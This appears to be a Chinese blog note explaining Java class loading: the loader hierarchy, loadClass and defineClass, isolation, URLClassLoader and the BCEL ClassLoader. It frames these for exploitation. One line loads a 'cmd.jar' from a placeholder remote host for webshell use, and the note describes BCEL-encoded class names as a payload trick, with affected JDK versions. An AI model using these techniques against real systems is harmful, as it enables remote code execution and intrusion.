前言
Java依赖于JVM(Java虚拟机),在运行前需要编译为class二进制文件,程序运行的时候不会一口气全部加载class到内存,而是通过java的类加载机制来进行动态加载。
ClassLoader类
再JVM类加载器中,最顶层的是Bootstrap ClassLoader(引导加载器)、Extension ClassLoader(拓展类加载器)、App ClassLoader(系统类加载器)。
ClassLoader是一个抽象类,主要功能就是通过指定的类名称找到或生成对应的字节码返回一个java.lang.Class类的实例。开发者就可以通过继承ClassLoader类来实现自定义加载器。
1 | getParent() //返回这个加载器的父加载器 |
loadClass 方法
方法被调用时会首先使用findLoadedClass方法判断类是否已经加载,如果没有被加载优先使用父加载器进行加载,如果不存在父加载器会调用自身的findClass方法,所以我们可以通过重写来完成一些类加载的特殊要求。
利用defineClass方法可以把字节转换为java.lang.class类对象,就可以实现自定义的加载器。
loadClass只会对类进行加载,不会进行初始化,而Class.forName会默认对类进行初始化。
UrlClassLoader
UrlClassLoader提供了加载远程资源的能力,在利用漏洞或者写webshell的时候可以通过这个特性来实现远程类方法的调用。
1 | URL url = new URL("https://xxx/cmd.jar"); |
类加载隔离
创建类加载器的时候可以指定类加载器的父类加载器,ClassLoader是由隔离机制的,不同的ClassLoader可以加载相同的Class(必须是非继承关系),同级的ClassLoader加载必须使用反射。
跨类加载器调用方法时,A和B ClassLoader 可以加载相同的类名,但是两个类是不相同的对象,两者互相之间调用只能通过反射。
BCEL ClassLoader
一个用于分析、创建、操纵Java类文件的工具库。BCEL类加载器解析类名时会对ClassName中包含$$BCEL$$
标识的类进行特殊处理,这个特性经常用于编写各种payload。
BCEL的com.sun.org.apache.bcel.internal.util.ClassLoader#loadClass
加载一个类名中有$$BCEL$$
类的时候会截取出后面的字符串,然后使用com.sun.org.apache.bcel.internal.classfile.Utility#decode
把字符串解析为字节码
特性仅限于BCEL6.0以下,支持的范围为JDK1.5 - 1.7
、JDK8 - JDK8u241
、JDK9